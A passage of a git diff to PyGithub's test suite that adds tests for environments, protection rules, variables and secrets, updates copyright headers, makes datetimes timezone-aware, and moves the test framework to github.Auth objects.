self.repo.get_environment("dev") + + def testAttributes(self): + self.assertEqual(self.environment.name, "dev") + self.assertEqual(self.environment.id, 464814513) + self.assertEqual(self.environment.node_id, "EN_kwDOHKhL9c4btIGx") + self.assertEqual( + self.environment.url, + "https://api.github.com/repos/alson/PyGithub/environments/dev", + ) + self.assertEqual( + self.environment.html_url, + "https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=dev", + ) + self.assertEqual( + self.environment.created_at, + datetime(2022, 4, 13, 15, 6, 32, tzinfo=timezone.utc), + ) + self.assertEqual( + self.environment.updated_at, + datetime(2022, 4, 13, 15, 6, 32, tzinfo=timezone.utc), + ) + self.assertTrue(self.environment.deployment_branch_policy.protected_branches) + self.assertFalse(self.environment.deployment_branch_policy.custom_branch_policies) + + def testProtectionRules(self): + protection_rules = self.environment.protection_rules + self.assertEqual(len(protection_rules), 3) + self.assertEqual(protection_rules[0].id, 216323) + self.assertEqual(protection_rules[0].node_id, "GA_kwDOHKhL9c4AA00D") + self.assertEqual(protection_rules[0].type, "branch_policy") + self.assertEqual(protection_rules[1].id, 216324) + self.assertEqual(protection_rules[1].node_id, "GA_kwDOHKhL9c4AA00E") + self.assertEqual(protection_rules[1].type, "required_reviewers") + self.assertEqual(protection_rules[2].id, 216325) + self.assertEqual(protection_rules[2].node_id, "GA_kwDOHKhL9c4AA00F") + self.assertEqual(protection_rules[2].type, "wait_timer") + self.assertEqual(protection_rules[2].wait_timer, 15) + + def testReviewers(self): + # This is necessary so we can maintain our own expectations, which have been manually editted, for this test. + reviewers = self.repo.get_environment("dev").protection_rules[1].reviewers + self.assertEqual(len(reviewers), 2) + self.assertEqual(reviewers[0].type, "User") + self.assertIsInstance(reviewers[0].reviewer, github.NamedUser.NamedUser) + # Make type checker happy + assert isinstance(reviewers[0].reviewer, github.NamedUser.NamedUser) + self.assertEqual(reviewers[0].reviewer.id, 19245) + self.assertEqual(reviewers[0].reviewer.login, "alson") + self.assertEqual(reviewers[0].reviewer.type, "User") + self.assertEqual(reviewers[1].type, "Team") + self.assertIsInstance(reviewers[1].reviewer, github.Team.Team) + # Make type checker happy + assert isinstance(reviewers[1].reviewer, github.Team.Team) + self.assertEqual(reviewers[1].reviewer.id, 1) + self.assertEqual(reviewers[1].reviewer.slug, "justice-league") + self.assertEqual(reviewers[1].reviewer.url, "https://api.github.com/teams/1") + + def testGetEnvironments(self): + environments = self.repo.get_environments() + self.assertEqual(environments.totalCount, 1) + self.assertEqual( + environments[0].url, + "https://api.github.com/repos/alson/PyGithub/environments/dev", + ) + self.assertEqual(environments[0].name, "dev") + + def testCreateEnvironment(self): + environment = self.repo.create_environment("test") + self.assertEqual(environment.name, "test") + self.assertEqual(environment.id, 470015651) + self.assertEqual(environment.node_id, "EN_kwDOHKhL9c4cA96j") + self.assertEqual( + environment.url, + "https://api.github.com/repos/alson/PyGithub/environments/test", + ) + self.assertEqual( + environment.html_url, + "https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=test", + ) + self.assertEqual( + environment.created_at, + datetime(2022, 4, 19, 14, 4, 32, tzinfo=timezone.utc), + ) + self.assertEqual( + environment.updated_at, + datetime(2022, 4, 19, 14, 4, 32, tzinfo=timezone.utc), + ) + self.assertEqual(len(environment.protection_rules), 0) + self.assertIsNone(environment.deployment_branch_policy) + + def testUpdateEnvironment(self): + environment = self.repo.create_environment( + "test", + wait_timer=42, + reviewers=[github.EnvironmentProtectionRuleReviewer.ReviewerParams(type_="User", id_=19245)], + deployment_branch_policy=github.EnvironmentDeploymentBranchPolicy.EnvironmentDeploymentBranchPolicyParams( + protected_branches=True, custom_branch_policies=False + ), + ) + self.assertEqual(environment.name, "test") + self.assertEqual(environment.id, 470015651) + self.assertEqual(environment.node_id, "EN_kwDOHKhL9c4cA96j") + self.assertEqual( + environment.url, + "https://api.github.com/repos/alson/PyGithub/environments/test", + ) + self.assertEqual( + environment.html_url, + "https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=test", + ) + self.assertEqual( + environment.created_at, + datetime(2022, 4, 19, 14, 4, 32, tzinfo=timezone.utc), + ) + self.assertEqual( + environment.updated_at, + datetime(2022, 4, 19, 14, 4, 32, tzinfo=timezone.utc), + ) + self.assertEqual(len(environment.protection_rules), 3) + self.assertEqual(environment.protection_rules[0].type, "required_reviewers") + self.assertEqual(len(environment.protection_rules[0].reviewers), 1) + self.assertEqual(environment.protection_rules[0].reviewers[0].type, "User") + self.assertEqual(environment.protection_rules[0].reviewers[0].reviewer.id, 19245) + self.assertEqual(environment.protection_rules[1].type, "wait_timer") + self.assertEqual(environment.protection_rules[1].wait_timer, 42) + self.assertEqual(environment.protection_rules[2].type, "branch_policy") + self.assertTrue(environment.deployment_branch_policy.protected_branches) + self.assertFalse(environment.deployment_branch_policy.custom_branch_policies) + + def testDeleteEnvironment(self): + self.repo.delete_environment("test") + with pytest.raises(github.UnknownObjectException): + self.repo.get_environment("test") + + def testEnvironmentVariable(self): + repo = self.g.get_repo("AndrewJDawes/PyGithub") + environment = repo.create_environment("test") + variable = environment.create_variable("variable_name", "variable-value") + self.assertTrue(variable.edit("variable-value123")) + variable.delete() + repo.delete_environment("test") + + def testEnvironmentVariables(self): + # GitHub will always capitalize the variable name + variables = (("VARIABLE_NAME_ONE", "variable-value-one"), ("VARIABLE_NAME_TWO", "variable-value-two")) + repo = self.g.get_repo("AndrewJDawes/PyGithub") + environment = repo.create_environment("test") + for variable in variables: + environment.create_variable(variable[0], variable[1]) + environment.update() + environment_variables = environment.get_variables() + matched_environment_variables = [] + for variable in variables: + for environment_variable in environment_variables: + # GitHub will always capitalize the variable name, may be best to uppercase test data for comparison + if environment_variable.name == variable[0].upper() and environment_variable.value == variable[1]: + matched_environment_variables.append(environment_variable) + break + self.assertEqual(len(matched_environment_variables), len(variables)) + for matched_environment_variable in matched_environment_variables: + matched_environment_variable.delete() + repo.delete_environment("test") + + @mock.patch("github.PublicKey.encrypt") + def testEnvironmentSecret(self, encrypt): + # encrypt returns a non-deterministic value, we need to mock it so the replay data matches + encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" + repo = self.g.get_repo("AndrewJDawes/PyGithub") + environment = repo.create_environment("test") + secret = environment.create_secret("secret_name", "secret-value") + secret.update() + # GitHub will always capitalize the secret name + self.assertEqual(secret.name, "SECRET_NAME") + secret.delete() + repo.delete_environment("test") + + @mock.patch("github.PublicKey.encrypt") + def testEnvironmentSecrets(self, encrypt): + # encrypt returns a non-deterministic value, we need to mock it so the replay data matches + encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" + # GitHub will always capitalize the secret name + secrets = (("SECRET_NAME_ONE", "secret-value-one"), ("SECRET_NAME_TWO", "secret-value-two")) + repo = self.g.get_repo("AndrewJDawes/PyGithub") + environment = repo.create_environment("test") + for secret in secrets: + environment.create_secret(secret[0], secret[1]) + environment.update() + environment_secrets = environment.get_secrets() + matched_environment_secrets = [] + for secret in secrets: + for environment_secret in environment_secrets: + # GitHub will always capitalize the secret name, may be best to uppercase test data for comparison + if environment_secret.name == secret[0].upper(): + matched_environment_secrets.append(environment_secret) + break + self.assertEqual(len(matched_environment_secrets), len(secrets)) + for matched_environment_secret in matched_environment_secrets: + matched_environment_secret.delete() + repo.delete_environment("test") diff --git a/tests/Equality.py b/tests/Equality.py index 9006a4de1f..3d8462d3db 100755 --- a/tests/Equality.py +++ b/tests/Equality.py @@ -1,9 +1,18 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Event.py b/tests/Event.py index 1be98f42d4..badd831ff2 100644 --- a/tests/Event.py +++ b/tests/Event.py @@ -7,6 +7,11 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -26,7 +31,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -39,7 +44,8 @@ def setUp(self): def testAttributes(self): self.assertEqual(self.event.actor.login, "jacquev6") self.assertEqual( - self.event.created_at, datetime.datetime(2012, 5, 26, 10, 1, 39) + self.event.created_at, + datetime(2012, 5, 26, 10, 1, 39, tzinfo=timezone.utc), ) self.assertEqual(self.event.id, "1556114751") self.assertEqual(self.event.org, None) diff --git a/tests/Exceptions.py b/tests/Exceptions.py index 25ec0dcccb..f1672334d9 100644 --- a/tests/Exceptions.py +++ b/tests/Exceptions.py @@ -9,7 +9,16 @@ # Copyright 2017 Hugo # # Copyright 2017 Simon # # Copyright 2018 Steve Kowalik # +# Copyright 2018 Tuuu Nya # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -59,7 +68,8 @@ def testInvalidInput(self): def testNonJsonDataReturnedByGithub(self): # Replay data was forged according to https://github.com/jacquev6/PyGithub/pull/182 with self.assertRaises(github.GithubException) as raisedexp: - self.g.get_user("jacquev6") + # 503 would be retried, disable retries + self.get_github(retry=None, pool_size=self.pool_size).get_user("jacquev6") self.assertEqual(raisedexp.exception.status, 503) self.assertEqual( raisedexp.exception.data, @@ -84,7 +94,7 @@ def testUnknownUser(self): def testBadAuthentication(self): with self.assertRaises(github.GithubException) as raisedexp: - github.Github("BadUser", "BadPassword").get_user().login + github.Github(auth=github.Auth.Login("BadUser", "BadPassword")).get_user().login self.assertEqual(raisedexp.exception.status, 401) self.assertEqual(raisedexp.exception.data, {"message": "Bad credentials"}) self.assertEqual(str(raisedexp.exception), '401 {"message": "Bad credentials"}') @@ -102,30 +112,27 @@ class SpecificExceptions(Framework.TestCase): def testBadCredentials(self): self.assertRaises( github.BadCredentialsException, - lambda: github.Github("BadUser", "BadPassword").get_user().login, + lambda: github.Github(auth=github.Auth.Login("BadUser", "BadPassword")).get_user().login, ) def test2FARequired(self): self.assertRaises( github.TwoFactorException, - lambda: github.Github("2fauser", "password").get_user().login, + lambda: github.Github(auth=github.Auth.Login("2fauser", "password")).get_user().login, ) def testUnknownObject(self): - self.assertRaises( - github.UnknownObjectException, lambda: self.g.get_user().get_repo("Xxx") - ) + self.assertRaises(github.UnknownObjectException, lambda: self.g.get_user().get_repo("Xxx")) def testBadUserAgent(self): self.assertRaises( github.BadUserAgentException, - lambda: github.Github(self.login, self.password, user_agent="") - .get_user() - .name, + lambda: github.Github(auth=self.login, user_agent="").get_user().name, ) def testRateLimitExceeded(self): - g = github.Github() + # rate limit errors would be retried if retry is not set None + g = github.Github(retry=None) def exceed(): for i in range(100): diff --git a/tests/ExposeAllAttributes.py b/tests/ExposeAllAttributes.py index 6a8022b582..03778845f1 100644 --- a/tests/ExposeAllAttributes.py +++ b/tests/ExposeAllAttributes.py @@ -3,7 +3,14 @@ # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -42,9 +49,7 @@ def testAllClasses(self): gistComment = gist.get_comment(4565) gistFile = gist.files[".gitignore"] gistHistoryState = gist.history[0] - gitCommit = repository.get_git_commit( - "be37b8a7f3a68631c32672dcd84d9eba27438ee6" - ) + gitCommit = repository.get_git_commit("be37b8a7f3a68631c32672dcd84d9eba27438ee6") gitAuthor = gitCommit.author gitTree = repository.get_git_tree("6f7c2d8c66d78863f7b91792deaead619799a1ce") gitTreeElement = gitTree.tree[0] diff --git a/tests/Framework.py b/tests/Framework.py index 24ab745a2c..9954554601 100644 --- a/tests/Framework.py +++ b/tests/Framework.py @@ -10,11 +10,29 @@ # Copyright 2017 Chris McBride # # Copyright 2017 Hugo # # Copyright 2017 Simon # +# Copyright 2018 Arda Kuyumcu # # Copyright 2018 Jacopo Notarstefano # # Copyright 2018 Laurent Mazuel # # Copyright 2018 Mike Miller # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Filipe Laíns # +# Copyright 2019 Isac Souza # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Alice GIRARD # +# Copyright 2020 Michał Górny # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Amador Pahim # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Denis Blanchette # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Leitschuh # +# Copyright 2023 Trim21 # +# Copyright 2023 chantra # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -34,17 +52,21 @@ # # ################################################################################ +import contextlib import io import json import os import traceback import unittest +import warnings +from typing import Optional import httpretty # type: ignore from requests.structures import CaseInsensitiveDict from urllib3.util import Url # type: ignore import github +from github import Consts APP_PRIVATE_KEY = """ -----BEGIN RSA PRIVATE KEY----- @@ -176,9 +198,7 @@ def __init__(self, file, protocol, host, port, *args, **kwds): self.__cnx = self._realConnection(host, port, *args, **kwds) def request(self, verb, url, input, headers): - full_url = Url( - scheme=self.__protocol, host=self.__host, port=self.__port, path=url - ) + full_url = Url(scheme=self.__protocol, host=self.__host, port=self.__port, path=url) httpretty.register_uri(verb, full_url.url, body=self.__request_callback) @@ -196,6 +216,7 @@ def __readNextRequest(self, verb, url, input, headers): if isinstance(input, str): trInput = input.replace("\n", "").replace("\r", "") if input.startswith("{"): + assert expectedInput.startswith("{"), expectedInput assert json.loads(trInput) == json.loads(expectedInput) else: assert trInput == expectedInput @@ -212,9 +233,7 @@ def __splitUrl(self, url): return (base, sorted(qs.split("&"))) def __request_callback(self, request, uri, response_headers): - self.__readNextRequest( - self.__cnx.verb, self.__cnx.url, self.__cnx.input, self.__cnx.headers - ) + self.__readNextRequest(self.__cnx.verb, self.__cnx.url, self.__cnx.input, self.__cnx.headers) status = int(readLine(self.__file)) self.response_headers = CaseInsensitiveDict(eval(readLine(self.__file))) @@ -261,8 +280,11 @@ class BasicTestCase(unittest.TestCase): recordMode = False tokenAuthMode = False jwtAuthMode = False + per_page = Consts.DEFAULT_PER_PAGE retry = None pool_size = None + seconds_between_requests: Optional[float] = None + seconds_between_writes: Optional[float] = None replayDataFolder = os.path.join(os.path.dirname(__file__), "ReplayData") def setUp(self): @@ -273,56 +295,75 @@ def setUp(self): self.recordMode ): # pragma no cover (Branch useful only when recording new tests, not used during automated tests) github.Requester.Requester.injectConnectionClasses( - lambda ignored, *args, **kwds: RecordingHttpConnection( - self.__openFile("w"), *args, **kwds - ), - lambda ignored, *args, **kwds: RecordingHttpsConnection( - self.__openFile("w"), *args, **kwds - ), + lambda ignored, *args, **kwds: RecordingHttpConnection(self.__openFile("w"), *args, **kwds), + lambda ignored, *args, **kwds: RecordingHttpsConnection(self.__openFile("w"), *args, **kwds), ) import GithubCredentials # type: ignore - self.login = GithubCredentials.login - self.password = GithubCredentials.password - self.oauth_token = GithubCredentials.oauth_token - self.jwt = GithubCredentials.jwt - self.app_id = GithubCredentials.app_id - self.app_private_key = GithubCredentials.app_private_key + self.login = ( + github.Auth.Login(GithubCredentials.login, GithubCredentials.password) + if GithubCredentials.login and GithubCredentials.password + else None + ) + self.oauth_token = ( + github.Auth.Token(GithubCredentials.oauth_token) if GithubCredentials.oauth_token else None + ) + self.jwt = github.Auth.AppAuthToken(GithubCredentials.jwt) if GithubCredentials.jwt else None + self.app_auth = ( + github.Auth.AppAuth(GithubCredentials.app_id, GithubCredentials.app_private_key) + if GithubCredentials.app_id and GithubCredentials.app_private_key + else None + ) else: github.Requester.Requester.injectConnectionClasses( - lambda ignored, *args, **kwds: ReplayingHttpConnection( - self.__openFile("r"), *args, **kwds - ), - lambda ignored, *args, **kwds: ReplayingHttpsConnection( - self.__openFile("r"), *args, **kwds - ), + lambda ignored, *args, **kwds: ReplayingHttpConnection(self.__openFile("r"), *args, **kwds), + lambda ignored, *args, **kwds: ReplayingHttpsConnection(self.__openFile("r"), *args, **kwds), ) - self.login = "login" - self.password = "password" - self.oauth_token = "oauth_token" - self.jwt = "jwt" - self.app_id = 123456 - self.app_private_key = APP_PRIVATE_KEY + self.login = github.Auth.Login("login", "password") + self.oauth_token = github.Auth.Token("oauth_token") + self.jwt = github.Auth.AppAuthToken("jwt") + self.app_auth = github.Auth.AppAuth(123456, APP_PRIVATE_KEY) httpretty.enable(allow_net_connect=False) + @property + def thisTestFailed(self) -> bool: + if hasattr(self._outcome, "errors"): # type: ignore + # Python 3.4 - 3.10 + result = self.defaultTestResult() + self._feedErrorsToResult(result, self._outcome.errors) # type: ignore + ok = all(test != self for test, text in result.errors + result.failures) + return not ok + else: + # Python 3.11+ + return self._outcome.result._excinfo is not None and self._outcome.result._excinfo # type: ignore + def tearDown(self): super().tearDown() httpretty.disable() httpretty.reset() - self.__closeReplayFileIfNeeded() + + self.__closeReplayFileIfNeeded(silent=self.thisTestFailed) github.Requester.Requester.resetConnectionClasses() + def assertWarning(self, warning, expected): + self.assertWarnings(warning, expected) + + def assertWarnings(self, warning, *expecteds): + actual = [(type(message), type(message.message), message.message.args) for message in warning.warnings] + expected = [(warnings.WarningMessage, DeprecationWarning, (expected,)) for expected in expecteds] + self.assertSequenceEqual(actual, expected) + + @contextlib.contextmanager + def ignoreWarning(self, category=Warning, module=""): + with warnings.catch_warnings(): + warnings.filterwarnings("ignore", category=category, module=module) + yield + def __openFile(self, mode): - for (_, _, functionName, _) in traceback.extract_stack(): - if ( - functionName.startswith("test") - or functionName == "setUp" - or functionName == "tearDown" - ): - if ( - functionName != "test" - ): # because in class Hook(Framework.TestCase), method testTest calls Hook.test + for _, _, functionName, _ in traceback.extract_stack(): + if functionName.startswith("test") or functionName == "setUp" or functionName == "tearDown": + if functionName != "test": # because in class Hook(Framework.TestCase), method testTest calls Hook.test fileName = os.path.join( self.replayDataFolder, f"{self.__class__.__name__}.{functionName}.txt", @@ -333,12 +374,12 @@ def __openFile(self, mode): self.__file = open(self.__fileName, mode, encoding="utf-8") return self.__file - def __closeReplayFileIfNeeded(self): + def __closeReplayFileIfNeeded(self, silent=False): if self.__file is not None: if ( - not self.recordMode + not self.recordMode and not silent ): # pragma no branch (Branch useful only when recording new tests, not used during automated tests) - self.assertEqual(readLine(self.__file), "") + self.assertEqual(readLine(self.__file), "", self.__fileName) self.__file.close() def assertListKeyEqual(self, elements, key, expectedKeys): @@ -369,17 +410,35 @@ def setUp(self): github.Requester.Requester.setDebugFlag(True) github.Requester.Requester.setOnCheckMe(self.getFrameChecker()) + self.g = self.get_github(self.retry, self.pool_size) + + def get_github(self, retry, pool_size): if self.tokenAuthMode: - self.g = github.Github( - self.oauth_token, retry=self.retry, pool_size=self.pool_size + return github.Github( + auth=self.oauth_token, + per_page=self.per_page, + retry=retry, + pool_size=pool_size, + seconds_between_requests=self.seconds_between_requests, + seconds_between_writes=self.seconds_between_writes, ) elif self.jwtAuthMode: - self.g = github.Github( - jwt=self.jwt, retry=self.retry, pool_size=self.pool_size + return github.Github( + auth=self.jwt, + per_page=self.per_page, + retry=retry, + pool_size=pool_size, + seconds_between_requests=self.seconds_between_requests, + seconds_between_writes=self.seconds_between_writes, ) else: - self.g = github.Github( - self.login, self.password, retry=self.retry, pool_size=self.pool_size + return github.Github( + auth=self.login, + per_page=self.per_page, + retry=retry, + pool_size=pool_size, + seconds_between_requests=self.seconds_between_requests, + seconds_between_writes=self.seconds_between_writes, ) diff --git a/tests/Gist.py b/tests/Gist.py index a2127d3a07..5398f38289 100644 --- a/tests/Gist.py +++ b/tests/Gist.py @@ -7,6 +7,13 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Jon Dufresne # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -26,7 +33,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone import github @@ -37,7 +44,10 @@ class Gist(Framework.TestCase): def testAttributes(self): gist = self.g.get_gist("6296732") self.assertEqual(gist.comments, 0) - self.assertEqual(gist.created_at, datetime.datetime(2013, 8, 21, 16, 28, 24)) + self.assertEqual( + gist.created_at, + datetime(2013, 8, 21, 16, 28, 24, tzinfo=timezone.utc), + ) self.assertEqual(gist.description, "Github API") self.assertEqual(list(gist.files.keys()), ["GithubAPI.lua"]) self.assertEqual(gist.files["GithubAPI.lua"].size, 21229) @@ -56,7 +66,8 @@ def testAttributes(self): self.assertEqual(gist.history[0].change_status.deletions, 0) self.assertEqual(gist.history[0].change_status.total, 793) self.assertEqual( - gist.history[0].committed_at, datetime.datetime(2013, 8, 21, 16, 12, 27) + gist.history[0].committed_at, + datetime(2013, 8, 21, 16, 12, 27, tzinfo=timezone.utc), ) self.assertEqual( gist.history[0].url, @@ -64,13 +75,14 @@ def testAttributes(self): ) self.assertEqual(gist.history[0].user, None) self.assertEqual(gist.history[0].owner.login, "jacquev6") - self.assertEqual( - gist.history[0].version, "c464aecd7fea16684e935607eeea7ae4f8caa0e2" - ) + self.assertEqual(gist.history[0].version, "c464aecd7fea16684e935607eeea7ae4f8caa0e2") self.assertEqual(gist.html_url, "https://gist.github.com/6296732") self.assertEqual(gist.id, "6296732") self.assertTrue(gist.public) - self.assertEqual(gist.updated_at, datetime.datetime(2013, 8, 21, 16, 28, 24)) + self.assertEqual( + gist.updated_at, + datetime(2013, 8, 21, 16, 28, 24, tzinfo=timezone.utc), + ) self.assertEqual(gist.url, "https://api.github.com/gists/6296732") self.assertEqual(gist.user, None) self.assertEqual(gist.owner.login, "jacquev6") @@ -79,15 +91,16 @@ def testAttributes(self): self.assertEqual(gist.html_url, "https://gist.github.com/6296732") self.assertEqual(gist.url, "https://api.github.com/gists/6296732") self.assertEqual(repr(gist), 'Gist(id="6296732")') - self.assertEqual( - repr(gist.files["GithubAPI.lua"]), 'GistFile(filename="GithubAPI.lua")' - ) + self.assertEqual(repr(gist.files["GithubAPI.lua"]), 'GistFile(filename="GithubAPI.lua")') def testEditWithoutParameters(self): gist = self.g.get_gist("2729810") gist.edit() self.assertEqual(gist.description, "Gist created by PyGithub") - self.assertEqual(gist.updated_at, datetime.datetime(2012, 5, 19, 7, 0, 58)) + self.assertEqual( + gist.updated_at, + datetime(2012, 5, 19, 7, 0, 58, tzinfo=timezone.utc), + ) def testEditWithAllParameters(self): gist = self.g.get_gist("2729810") @@ -96,7 +109,10 @@ def testEditWithAllParameters(self): {"barbaz.txt": github.InputFileContent("File also created by PyGithub")}, ) self.assertEqual(gist.description, "Description edited by PyGithub") - self.assertEqual(gist.updated_at, datetime.datetime(2012, 5, 19, 7, 6, 10)) + self.assertEqual( + gist.updated_at, + datetime(2012, 5, 19, 7, 6, 10, tzinfo=timezone.utc), + ) self.assertEqual(set(gist.files.keys()), {"foobar.txt", "barbaz.txt"}) def testDeleteFile(self): @@ -108,13 +124,7 @@ def testDeleteFile(self): def testRenameFile(self): gist = self.g.get_gist("5339374") self.assertEqual(list(gist.files.keys()), ["bar.txt"]) - gist.edit( - files={ - "bar.txt": github.InputFileContent( - gist.files["bar.txt"].content, new_name="baz.txt" - ) - } - ) + gist.edit(files={"bar.txt": github.InputFileContent(gist.files["bar.txt"].content, new_name="baz.txt")}) self.assertEqual(list(gist.files.keys()), ["baz.txt"]) def testCreateComment(self): diff --git a/tests/GistComment.py b/tests/GistComment.py index 0853fc2f6d..be8865333d 100644 --- a/tests/GistComment.py +++ b/tests/GistComment.py @@ -7,6 +7,12 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -26,7 +32,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -39,15 +45,15 @@ def setUp(self): def testAttributes(self): self.assertEqual(self.comment.body, "Comment created by PyGithub") self.assertEqual( - self.comment.created_at, datetime.datetime(2012, 5, 19, 7, 7, 57) + self.comment.created_at, + datetime(2012, 5, 19, 7, 7, 57, tzinfo=timezone.utc), ) self.assertEqual(self.comment.id, 323629) self.assertEqual( - self.comment.updated_at, datetime.datetime(2012, 5, 19, 7, 7, 57) - ) - self.assertEqual( - self.comment.url, "https://api.github.com/gists/2729810/comments/323629" + self.comment.updated_at, + datetime(2012, 5, 19, 7, 7, 57, tzinfo=timezone.utc), ) + self.assertEqual(self.comment.url, "https://api.github.com/gists/2729810/comments/323629") self.assertEqual(self.comment.user.login, "jacquev6") self.assertEqual( repr(self.comment), @@ -58,7 +64,8 @@ def testEdit(self): self.comment.edit("Comment edited by PyGithub") self.assertEqual(self.comment.body, "Comment edited by PyGithub") self.assertEqual( - self.comment.updated_at, datetime.datetime(2012, 5, 19, 7, 12, 32) + self.comment.updated_at, + datetime(2012, 5, 19, 7, 12, 32, tzinfo=timezone.utc), ) def testDelete(self): diff --git a/tests/GitBlob.py b/tests/GitBlob.py index 881378fa7d..256214b8a8 100644 --- a/tests/GitBlob.py +++ b/tests/GitBlob.py @@ -8,6 +8,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -33,11 +39,7 @@ class GitBlob(Framework.TestCase): def setUp(self): super().setUp() - self.blob = ( - self.g.get_user() - .get_repo("PyGithub") - .get_git_blob("53bce9fa919b4544e67275089b3ec5b44be20667") - ) + self.blob = self.g.get_user().get_repo("PyGithub").get_git_blob("53bce9fa919b4544e67275089b3ec5b44be20667") def testAttributes(self): self.assertTrue( diff --git a/tests/GitCommit.py b/tests/GitCommit.py index 665645374f..f71f22bbb3 100644 --- a/tests/GitCommit.py +++ b/tests/GitCommit.py @@ -8,6 +8,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -27,7 +33,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -35,35 +41,27 @@ class GitCommit(Framework.TestCase): def setUp(self): super().setUp() - self.commit = ( - self.g.get_user() - .get_repo("PyGithub") - .get_git_commit("4303c5b90e2216d927155e9609436ccb8984c495") - ) + self.commit = self.g.get_user().get_repo("PyGithub").get_git_commit("4303c5b90e2216d927155e9609436ccb8984c495") def testAttributes(self): self.assertEqual(self.commit.author.name, "Vincent Jacques") self.assertEqual(self.commit.author.email, "vincent@vincent-jacques.net") self.assertEqual( - self.commit.author.date, datetime.datetime(2012, 4, 17, 17, 55, 16) + self.commit.author.date, + datetime(2012, 4, 17, 17, 55, 16, tzinfo=timezone.utc), ) self.assertEqual(self.commit.committer.name, "Vincent Jacques") self.assertEqual(self.commit.committer.email, "vincent@vincent-jacques.net") self.assertEqual( - self.commit.committer.date, datetime.datetime(2012, 